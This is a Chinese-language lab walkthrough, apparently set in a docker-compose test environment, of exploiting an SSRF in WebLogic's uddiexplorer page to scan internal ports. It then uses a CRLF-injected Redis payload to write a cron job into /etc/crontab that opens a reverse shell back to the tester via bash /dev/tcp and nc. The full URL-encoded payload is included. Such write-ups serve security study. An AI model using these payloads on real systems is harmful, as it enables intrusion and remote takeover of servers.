使用docker-compose up -d 命令在docker中拉取镜像
使用docker ps命令查看进程,看到weblogic和redis这两个服务开启
在网页中打开yourIP:7001/uddiexplorer的页面
http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp页面中存在ssrf漏洞
构造payload
http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http:// 可访问的IP:port
当访问的IP存活时,报出如上图所示错误
加上端口,用bp抓一下包,页面右侧报出所示错误,证明开放了7001端口
当我尝试将7001改为其他未开放的端口时,报出如下图右侧所示的错误
通过上面的尝试发现,通过页面返回错误的不同,可以探测内网端口的开放状态,进而知道内网开启的服务,同时加以利用
使用docker ps命令查看一下进程号
docker exec -it 进程号 /bin/bash
进入容器,ifconfig查看一下IP
将operator参数后面的值改为redis的IP和端口号,redis的默认端口号位6379,send一下,报出下图右侧所示错误,证明redis服务开启
默认情况下redis处于公网中会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
将反弹shell脚本写入redis容器里面的/etc/crontab,从而将shell反弹到yourip的6666端口
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/yourIP/6666 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab save
aaa
URL编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FyourIP%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
上传成功
我们可以在redis容器里面进入etc目录,使用cat crontab命令查看一下,发现成功写入
退出容器
使用nc -lvvp 6666 命令开启监听端口
等待一会,成功反弹shell